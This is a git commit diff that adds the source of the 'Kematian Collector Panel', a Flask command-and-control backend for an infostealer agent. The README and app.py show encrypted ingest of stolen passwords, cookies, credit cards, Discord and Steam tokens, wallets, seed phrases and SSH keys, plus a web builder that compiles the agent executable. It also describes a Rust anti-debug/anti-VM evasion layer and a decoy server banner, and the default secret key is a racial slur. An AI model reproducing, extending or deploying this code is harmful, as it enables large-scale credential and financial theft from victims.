initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
+159
View File
@@ -0,0 +1,159 @@
# Kematian Collector Panel
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
## Setup
```bash
cd panel
pip install -r requirements.txt
python app.py
```
Open `http://localhost:5000/setup` to create the admin account, then log in.
Configure via env before running:
| Env var | Default | Purpose |
|---------------------|------------------------------------------|----------------------------------|
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
| `PANEL_PORT` | `5000` | Bind port |
**Change both secrets before exposing the panel.**
## E2EE
Agent → panel traffic is end-to-end encrypted. On first run the panel generates
an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves
the panel; only its **public key** is needed by the agent.
**The agent fetches that public key itself at runtime** — so at build time you
only set the endpoint + ingest key. You never copy a key manually. The panel
serves it over:
```http
GET /e2ee/pub
Authorization: Bearer <PANEL_INGEST_KEY>
```
Wire scheme (agent encrypts, panel decrypts):
`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`.
Only the panel private key can decrypt the payload.
## Ingest API
The agent encrypts its `CollectionResult` and POSTs `{"enc": "<base64 ciphertext>"}`
to `/api/ingest` with `Authorization: Bearer <PANEL_INGEST_KEY>`. The panel
decrypts and splits every category into its own SQLite table.
```http
POST /api/ingest
Authorization: Bearer <PANEL_INGEST_KEY>
Content-Type: application/json
{ "enc": "base64..." }
```
Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct:
`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards,
discordTokens, files, extensions, wallets, telegram, keys, appCredentials,
gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything
else is flattened per row.
The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam
login files) as `payloads: [{category, name, filename, size, data(base64)}]`.
The panel writes these to `panel/loot/<client_id>/` and tracks them in the
`blobs` table, so they're persisted as a backup and downloadable from the UI.
## Privacy & hardening
The panel is not meant to be discovered or probed by randoms:
- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct
`PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners.
- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks
ingress IPs outside your allowlist with 404.
- **Login brute-force throttle** — an IP gets 429 after too many attempts in a
window.
- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`,
`Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner.
- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty =
unrestricted (still gated by creds/rate-limit).
Additional env:
| Env var | Default | Purpose |
|-----------------------|-------------------------------|------------------------------------------|
| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login |
| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) |
| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP |
| `PANEL_DECOY_NAME` | `nginx` | Server banner value |
| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form |
| `BUILDER_NATIVE_DIR` | `<repo>/Kematian-Standalone/native` | Path to the agent Go source tree |
| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored |
## Wiring the agent
The agent collects the data in `native/recovery/exfil/panel.go`. Set two things
(either edit the vars or use `final/build_final.bat`):
- `PanelEndpoint` the panel's `/api/ingest` URL
- `PanelAuth` the `PANEL_INGEST_KEY`
The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing
else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus
the panel endpoint + auth key, injects them at build time, then restores sources.
## Web builder
The panel can build the agent entirely from the browser at **`/build`**:
1. Enter the panel endpoint + ingest key, optional Telegram bot/chat.
2. Enter a build name.
3. Click **Build agent** — the panel copies the native Go tree to a temp dir,
patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram),
runs `go build`, and drops the `.exe` in `builds/`.
4. Watch the live log, then **Download** the fresh agent.
The server needs `go` installed (and the agent source tree present at
`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified —
it's copied, patched, and built in a temp dir. Built files are kept under
`BUILDER_OUTPUT_DIR` and served at `/build/download/<name>.exe`.
### Anti-analysis guard
Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that
runs inside the injected DLL before the payload starts. It scores the environment
and refuses to run on analysis hosts:
- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags,
`NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC
timing (breakpoint/single-step detection).
- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/
QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics.
- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA,
procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers.
Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`.
The web builder recompiles the Rust extractor before each `go build`; the local
`final/build_final.bat` does the same. `Cargo` must be installed and the
`x86_64-pc-windows-gnu` target present.
## Pages
- `/` dashboard with per-category stats + hosted-files count + recent clients
- `/clients` all reporting agents
- `/client/<id>` per-client data breakdown, link to its files
- `/client/<id>/loot` that client's hosted login files (wallet/Steam/Telegram)
- `/client/<id>/loot/<id>/download` download one hosted file
- `/client/<id>/loot/zip` download all of that client's files as one backup zip
- `/loot` every hosted file across all clients
- `/build` build a fresh agent from the browser (panel + Telegram config)
- `/cat/<category>` each data type on its own page with an icon
- `/search` search across passwords, cookies, tokens
- `/api/raw/<category>` raw JSON dump (admin auth required)
Categories: passwords, cookies, autofill, history, bookmarks, credit_cards,
discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds,
gaming, vpns.
+760
View File
@@ -0,0 +1,760 @@
"""
Kematian Collector Panel
========================
Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone
agent. Each collected data category is stored in its own SQLite table and
served on its own page with a dedicated icon.
Project: https://t.me/electronic_sex
Run:
pip install -r requirements.txt
python app.py
First-run: head to /setup to create the admin account, then / to log in.
"""
import base64
import json
import os
import time
from functools import wraps
from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
import crypto
import db
import blobs
import builder
app = Flask(__name__)
app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers")
app.config["JSON_SORT_KEYS"] = False
# ------------------------------------------------------------------ privacy / hardening
# Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone,
# but still gated by credentials + rate limit.
ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()}
# Short response tokens to confuse generic scanners (shown on probe endpoints).
DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx")
# Requests per time window before an IP gets throttled.
RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60"))
RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10"))
RATE_HITS = {} # ip -> [timestamps]
def client_ip():
return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
def rate_limited():
"""Return True if this IP has crossed the throttle limit for the window."""
ip = client_ip()
now = time.time()
hits = RATE_HITS.setdefault(ip, [])
hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW]
RATE_HITS[ip] = hits
return len(hits) >= RATE_LIMIT_MAX
def rate_hit():
RATE_HITS.setdefault(client_ip(), []).append(time.time())
def ip_allowed():
if not ALLOWED_IPS:
return True
return client_ip() in ALLOWED_IPS
# One-shot setup lock lives on disk (next to the DB) so it survives resets.
SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done")
def setup_locked():
return os.path.exists(SETUP_LOCK_FILE)
def mark_setup_done():
try:
with open(SETUP_LOCK_FILE, "w") as f:
f.write(str(int(time.time())))
except OSError:
pass
@app.after_request
def security_headers(resp):
resp.headers["X-Content-Type-Options"] = "nosniff"
resp.headers["X-Frame-Options"] = "DENY"
resp.headers["Referrer-Policy"] = "no-referrer"
resp.headers["X-XSS-Protection"] = "0"
resp.headers["Cache-Control"] = "no-store"
resp.headers["Server"] = DECOY_NAME
return resp
# Hide a couple of default Flask facts from cursory scan tooling.
app.config["SERVER_NAME"] = None
def fmt_dt(ts):
if not ts:
return "—"
return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts))
def fmt_size(n):
try:
n = int(n)
except (TypeError, ValueError):
return "—"
for unit in ("B", "KB", "MB", "GB"):
if n < 1024 or unit == "GB":
return f"{n:.1f} {unit}"
n /= 1024
app.jinja_env.filters["datetime"] = fmt_dt
app.jinja_env.filters["filesize"] = fmt_size
# Ingest API key. Override via env: PANEL_INGEST_KEY
INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME")
# Public-facing ingest URL of this panel, used to pre-fill the builder form.
_public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/")
PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest"
# Map of category -> (label, table, icon path, page title)
CATEGORIES = {
"passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"),
"cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"),
"autofill": ("Autofill", "autofill", "autofill", "Autofill Data"),
"history": ("History", "history", "history", "Browsing History"),
"bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"),
"credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"),
"discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"),
"files": ("Files", "files", "files", "Interesting Files"),
"extensions": ("Extensions", "extensions", "extension","Browser Extensions"),
"wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"),
"telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"),
"keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"),
"app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"),
"seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"),
"gaming": ("Gaming", "gaming", "game", "Gaming Accounts"),
"steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"),
"vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"),
}
def now_ts():
return int(time.time())
# ---------------------------------------------------------------- auth
def login_required(f):
@wraps(f)
def wrapper(*args, **kwargs):
if not session.get("admin"):
return redirect(url_for("login", next=request.path))
return f(*args, **kwargs)
return wrapper
@app.context_processor
def inject_globals():
import os as _os
return {
"categories": CATEGORIES,
"cat": CATEGORIES,
"os": _os,
}
@app.route("/setup", methods=["GET", "POST"])
def setup():
if not ip_allowed():
return abort(404)
db.init_db()
# One-shot lock: once setup has completed, /setup is permanently closed.
# Uses a persistent marker file (independent of the DB), so even if the admin
# table is cleared or the DB is reset, setup cannot be re-run.
if setup_locked():
flash("Setup is already complete. Log in instead.", "info")
return redirect(url_for("login"))
conn = db.get_conn()
existing = conn.execute("SELECT id FROM admin").fetchone()
conn.close()
if existing:
mark_setup_done()
flash("Admin already exists. Log in instead.", "info")
return redirect(url_for("login"))
if rate_limited():
return abort(429)
if request.method == "POST":
rate_hit()
user = (request.form.get("username") or "").strip()
pwd = request.form.get("password") or ""
if len(user) < 3:
flash("Username must be at least 3 characters.", "error")
elif len(pwd) < 6:
flash("Password must be at least 6 characters.", "error")
else:
conn = db.get_conn()
try:
conn.execute(
"INSERT INTO admin (username, password_hash) VALUES (?, ?)",
(user, generate_password_hash(pwd)),
)
conn.commit()
finally:
conn.close()
mark_setup_done()
flash("Admin created. Log in now.", "success")
return redirect(url_for("login"))
return render_template("setup.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if not ip_allowed():
return abort(404)
db.init_db()
if request.method == "POST":
if rate_limited():
return abort(429)
rate_hit()
user = (request.form.get("username") or "").strip()
pwd = request.form.get("password") or ""
conn = db.get_conn()
row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone()
conn.close()
if row and check_password_hash(row["password_hash"], pwd):
session["admin"] = row["username"]
RATE_HITS.pop(client_ip(), None)
flash("Welcome back.", "success")
nxt = request.args.get("next") or url_for("dashboard")
return redirect(nxt)
flash("Invalid credentials.", "error")
return render_template("login.html")
@app.route("/logout")
def logout():
session.pop("admin", None)
flash("Logged out.", "info")
return redirect(url_for("login"))
# ---------------------------------------------------------------- dashboard
@app.route("/")
def index():
return redirect(url_for("login") if not session.get("admin") else url_for("dashboard"))
@app.route("/dashboard")
@login_required
def dashboard():
conn = db.get_conn()
client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"]
total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"]
stats = {}
for key, (label, table, icon, _title) in CATEGORIES.items():
rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"]
stats[key] = {"label": label, "count": rows, "icon": icon}
recent = conn.execute(
"SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries "
"FROM clients ORDER BY last_seen DESC LIMIT 8"
).fetchall()
conn.close()
loot_count = len(blobs.blobs_for())
# --- chart data: entries per category + activity over the last 24h ---
chart_labels = [stats[k]["label"] for k in CATEGORIES]
chart_values = [stats[k]["count"] for k in CATEGORIES]
chart_icons = [stats[k]["icon"] for k in CATEGORIES]
return render_template(
"dashboard.html",
client_count=client_count,
total=total,
loot_count=loot_count,
stats=stats,
recent=recent,
chart_labels=chart_labels,
chart_values=chart_values,
chart_icons=chart_icons,
)
# ---------------------------------------------------------------- clients
@app.route("/clients")
@login_required
def clients():
conn = db.get_conn()
rows = conn.execute(
"SELECT * FROM clients ORDER BY last_seen DESC"
).fetchall()
conn.close()
return render_template("clients.html", clients=rows)
@app.route("/client/<client_id>")
@login_required
def client_detail(client_id):
conn = db.get_conn()
cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone()
if not cli:
conn.close()
abort(404)
per_cat = {}
for key, (label, table, icon, _title) in CATEGORIES.items():
c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"]
per_cat[key] = {"label": label, "count": c, "icon": icon}
conn.close()
return render_template("client_detail.html", cli=cli, per_cat=per_cat)
# ---------------------------------------------------------------- category pages
@app.route("/cat/<key>")
@login_required
def category(key):
if key not in CATEGORIES:
abort(404)
label, table, icon, title = CATEGORIES[key]
client_filter = request.args.get("client")
conn = db.get_conn()
if client_filter:
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall()
else:
rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall()
conn.close()
return render_template(
"categories/view.html",
key=key,
label=label,
icon=icon,
title=title,
table=table,
rows=rows,
client_filter=client_filter,
)
@app.route("/api/raw/<key>")
@login_required
def api_raw(key):
if key not in CATEGORIES:
abort(404)
_label, table, _icon, _title = CATEGORIES[key]
client_filter = request.args.get("client")
conn = db.get_conn()
if client_filter:
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall()
else:
cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()]
rows = conn.execute(f"SELECT * FROM {table}").fetchall()
conn.close()
payload = [dict(r) for r in rows]
return jsonify({"columns": cols, "rows": payload})
# ---------------------------------------------------------------- payloads / backups
@app.route("/client/<client_id>/loot")
@login_required
def client_loot(client_id):
"""List the hosted payload files for a client."""
blobs_for = blobs.blobs_for(client_id)
return render_template("loot.html", client_id=client_id, blobs=blobs_for)
@app.route("/client/<client_id>/loot/<int:blob_id>/download")
@login_required
def loot_download(client_id, blob_id):
"""Download one hosted payload zip."""
path = blobs.blob_path(client_id, blob_id)
if not path:
abort(404)
# send_file needs the filename to preserve the download name
from flask import send_file
return send_file(path, as_attachment=True, download_name=os.path.basename(path))
@app.route("/client/<client_id>/loot/zip")
@login_required
def loot_zip(client_id):
"""Bundle every hosted payload for a client into one download zip (backup)."""
import io, zipfile
items = blobs.blobs_for(client_id)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
for b in items:
path = blobs.blob_path(client_id, b["id"])
if path:
z.write(path, arcname=f"{client_id}/{b['filename']}")
buf.seek(0)
from flask import send_file
return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip")
@app.route("/loot")
@login_required
def all_loot():
"""Every payload file across all clients."""
items = blobs.blobs_for()
return render_template("loot_all.html", blobs=items)
@app.route("/fileshare")
@login_required
def fileshare():
"""File share overview: every hosted file + clients that have files."""
items = blobs.blobs_for()
by_client = {}
uploaded = 0
for b in items:
by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1
if b["client_id"] == "upload":
uploaded += 1
return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded)
@app.route("/fileshare/upload", methods=["POST"])
@login_required
def fileshare_upload():
"""Upload a file (admin) into the built-in file share."""
f = request.files.get("file")
if not f or not f.filename:
flash("Choose a file to upload.", "error")
return redirect(url_for("fileshare"))
category = (request.form.get("category") or "upload").strip() or "upload"
try:
data = f.read()
blob_id = blobs.upload_public(f.filename, data, category=category)
flash(f"Uploaded {f.filename}", "success")
return redirect(url_for("fileshare"))
except Exception as e:
flash(f"Upload failed: {e}", "error")
return redirect(url_for("fileshare"))
# ---------------------------------------------------------------- ingest API
def authorized_auth():
"""Validate the ingress Bearer token. Compares against the configured key."""
auth = request.headers.get("Authorization", "")
return auth == f"Bearer {INGEST_KEY}"
@app.route("/api/ingest", methods=["POST"])
def ingest():
# Require both a valid ingress key AND (if set) an allowed ingress IP, so a
# random person curling the domain can't even attempt to feed garbage.
if not authorized_auth():
abort(401)
if not ip_allowed():
abort(404)
data = request.get_json(silent=True)
# E2EE envelope: {"enc": "<base64 ciphertext>"} — decrypt to recover the
# CollectionResult, then land each category in its own table.
if isinstance(data, dict) and data.get("enc"):
try:
plain = crypto.decrypt_wire(data["enc"])
except Exception as e:
return jsonify({"error": "decryption failed", "detail": str(e)}), 400
try:
data = json.loads(plain)
except Exception:
return jsonify({"error": "decrypted payload is not valid JSON"}), 400
if not isinstance(data, dict):
return jsonify({"error": "body must be a JSON object"}), 400
client_id = data.get("clientId") or data.get("client_id")
if not client_id:
client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii")
while len(client_id) < 12:
client_id += "x"
client_id = client_id[:12]
host = data.get("host") or {}
ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip()
ts = now_ts()
total_new = 0
payload_saved = 0
conn = db.get_conn()
try:
conn.execute("BEGIN")
existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone()
if existing:
conn.execute(
"UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) "
"WHERE client_id=?",
(ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""),
host.get("os", ""), host.get("arch", ""), client_id),
)
else:
conn.execute(
"INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) "
"VALUES (?,?,?,?,?,?,?,?)",
(client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""),
ip, request.headers.get("User-Agent", ""), ts, ts),
)
# helper: bulk-insert a category with clear-then-replace strategy
def insert_cat(cat_keys, target_table, mapper):
nonlocal total_new
items = data.get(cat_keys, [])
if items is None:
items = []
for it in items:
if not isinstance(it, dict):
continue
cols, vals = mapper(it)
q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})"
conn.execute(q, [client_id] + vals)
total_new += 1
return len(items)
insert_cat("passwords", "passwords", lambda d: (
["url", "username", "password", "browser", "profile"],
[d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")],
))
insert_cat("cookies", "cookies", lambda d: (
["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"],
[d.get("host"), d.get("name"), d.get("value"), d.get("path"),
int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))),
d.get("expiresUtc"), d.get("browser"), d.get("profile")],
))
insert_cat("autofill", "autofill", lambda d: (
["name", "value", "date_created", "browser", "profile"],
[d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")],
))
insert_cat("history", "history", lambda d: (
["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"],
[d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"),
d.get("lastVisitTime"), d.get("browser"), d.get("profile")],
))
insert_cat("bookmarks", "bookmarks", lambda d: (
["name", "url", "type", "browser", "profile"],
[d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")],
))
insert_cat("creditCards", "credit_cards", lambda d: (
["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"],
[d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"),
d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")],
))
insert_cat("discordTokens", "discord_tokens", lambda d: (
["token", "source"],
[d.get("token"), d.get("source")],
))
insert_cat("files", "files", lambda d: (
["path", "name", "ext", "size", "modified", "dir", "tags"],
[d.get("path"), d.get("name"), d.get("ext"), d.get("size"),
d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")],
))
insert_cat("extensions", "extensions", lambda d: (
["ext_id", "name", "version", "browser", "profile", "path", "category"],
[d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")],
))
insert_cat("wallets", "wallets", lambda d: (
["name", "type", "path", "files", "size", "addresses", "vault_data"],
[d.get("name"), d.get("type"), d.get("path"), d.get("files"), d.get("size"),
";".join(d.get("addresses", [])) if isinstance(d.get("addresses"), list) else d.get("addresses"), d.get("vaultData")],
))
insert_cat("telegram", "telegram", lambda d: (
["account", "path", "files", "size"],
[d.get("account"), d.get("path"), d.get("files"), d.get("size")],
))
insert_cat("keys", "keys", lambda d: (
["type", "name", "path", "size", "content"],
[d.get("type"), d.get("name"), d.get("path"), d.get("size"), d.get("content")],
))
insert_cat("appCredentials", "app_credentials", lambda d: (
["application", "host", "port", "username", "password", "protocol", "extra"],
[d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")],
))
insert_cat("seeds", "seeds", lambda d: (
["source", "path", "phrase", "words"],
[d.get("source"), d.get("path"), d.get("phrase"), d.get("words")],
))
# nested objects (gaming/vpns) — store the whole sub-object as one row
def insert_single(table, vpn_or_key, payload):
nonlocal total_new
cols = ["client_id", vpn_or_key, "payload"]
conn.execute(
f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)",
[client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))],
)
total_new += 1
gaming = data.get("gaming")
if isinstance(gaming, dict) and gaming:
insert_single("gaming", "platform", gaming)
vpns = data.get("vpns")
if isinstance(vpns, dict) and vpns:
insert_single("vpns", "vpn", vpns)
# steam login/refresh tokens (list of {steamId, token}) -> own table
steam_tokens = data.get("steamTokens")
if isinstance(steam_tokens, list):
for st in steam_tokens:
if not isinstance(st, dict):
continue
conn.execute(
"INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)",
(client_id, st.get("steamId"), st.get("token")),
)
total_new += 1
# binary payloads (wallet/telegram/steam zips) -> persisted under loot/
payloads = data.get("payloads")
if isinstance(payloads, list):
for blob_doc in payloads:
if not isinstance(blob_doc, dict):
continue
try:
blobs.save_payload(client_id, blob_doc, conn=conn)
payload_saved += 1
except Exception:
pass
conn.execute(
"UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?",
(total_new, client_id),
)
conn.commit()
except Exception as e:
conn.rollback()
conn.close()
return jsonify({"error": str(e)}), 500
conn.close()
return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200
# ---------------------------------------------------------------- misc
@app.route("/health")
def health():
# Only responds when the caller proves it's an agent (correct ingress key),
# so random scanners / curls get a nondescript 404 instead of a liveness beacon.
if not authorized_auth() or not ip_allowed():
return abort(404)
return jsonify({"ok": True, "ts": now_ts()})
@app.route("/e2ee/pub")
def e2ee_pub():
"""Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt
toward the panel. Locked behind the same ingress key so it isn't public."""
if not authorized_auth() or not ip_allowed():
return abort(404)
return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()})
@app.route("/search")
@login_required
def search():
q = (request.args.get("q") or "").strip()
results = []
conn = db.get_conn()
if q:
like = f"%{q}%"
pwd = conn.execute(
"SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50",
(like, like),
).fetchall()
for p in pwd:
results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]})
tok = conn.execute(
"SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,)
).fetchall()
for t in tok:
results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]})
host = conn.execute(
"SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50",
(like, like),
).fetchall()
for c in host:
results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]})
conn.close()
return render_template("search.html", q=q, results=results)
# ---------------------------------------------------------------- web builder
@app.route("/build")
@login_required
def build_page():
return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs())
@app.route("/build", methods=["POST"])
@login_required
def build_start():
endpoint = (request.form.get("endpoint") or "").strip()
auth = (request.form.get("auth") or "").strip()
bot_token = (request.form.get("bot_token") or "").strip()
chat_id = (request.form.get("chat_id") or "").strip()
build_name = (request.form.get("build_name") or "kematian").strip()
if not endpoint:
endpoint = PANEL_PUBLIC_URL
# normalize: if user entered just host, append /api/ingest
if not endpoint.endswith("/api/ingest"):
endpoint = endpoint.rstrip("/") + "/api/ingest"
if not auth:
return render_template("builder.html", error="Panel auth key is required.",
default_endpoint=endpoint, builds=builder.all_jobs()), 400
build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name)
return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs())
@app.route("/build/status/<int:build_id>")
@login_required
def build_status(build_id):
job = builder.job_status(build_id)
if not job:
return jsonify({"error": "no such build"}), 404
exe_name = os.path.basename(job["exe"]) if job["exe"] else None
return jsonify({
"status": job["status"],
"error": job["error"],
"exe": exe_name,
"download": f"/build/download/{exe_name}" if exe_name else None,
})
@app.route("/build/download/<path:filename>")
@login_required
def build_download(filename):
from flask import send_file
safe = os.path.basename(filename)
path = os.path.join(builder.BUILDS_DIR, safe)
if not os.path.exists(path):
abort(404)
return send_file(path, as_attachment=True, download_name=safe)
if __name__ == "__main__":
db.init_db()
os.makedirs(builder.BUILDS_DIR, exist_ok=True)
port = int(os.environ.get("PANEL_PORT", 5000))
app.run(host="0.0.0.0", port=port, debug=False)
+121
View File
@@ -0,0 +1,121 @@
"""
Binary payload storage for the panel.
Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are
written to disk under loot/<client_id>/ so they're persisted as a backup, and
tracked in the blobs table so the dashboard can list + download them.
"""
import base64
import os
import time
import db
# Root directory for all hosted payloads. Auto-created on first write.
LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot")
# Match the request size that the agent is allowed to send in one payload.
# Guard: refuse a single blob beyond this (avoids filling the disk).
MAX_BLOB = 64 * 1024 * 1024 # 64 MB
def save_payload(client_id, blob, conn=None):
"""Persist one payload dict from the agent. blob has keys:
category, name, filename, size, data (base64 str). Returns the blob row id.
If `conn` is provided (an already-open transaction, e.g. during ingest) the
DB insert runs on that connection and is NOT committed; otherwise a fresh
connection is used and committed."""
filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_")
data_b64 = blob.get("data", "")
try:
raw = base64.b64decode(data_b64)
except Exception as e:
raise ValueError(f"bad base64 payload: {e}")
if len(raw) > MAX_BLOB:
raise ValueError("payload too large")
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
path = os.path.join(LOOT_ROOT, client_id, filename)
with open(path, "wb") as f:
f.write(raw)
ts = int(time.time())
if conn is not None:
cur = conn.execute(
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
"VALUES (?,?,?,?,?,?)",
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
)
return cur.lastrowid
conn = db.get_conn()
try:
cur = conn.execute(
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
"VALUES (?,?,?,?,?,?)",
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
)
conn.commit()
return cur.lastrowid
finally:
conn.close()
def upload_public(filename, data, category="upload"):
"""Store an admin-uploaded file under loot/upload/ and track it in blobs.
Returns the blob row id."""
raw = data if isinstance(data, (bytes, bytearray)) else data.encode()
if len(raw) > MAX_BLOB:
raise ValueError("file too large")
filename = (filename or "download").replace("/", "_").replace("\\", "_")
client_id = "upload"
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
path = os.path.join(LOOT_ROOT, client_id, filename)
with open(path, "wb") as f:
f.write(raw)
ts = int(time.time())
conn = db.get_conn()
try:
cur = conn.execute(
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
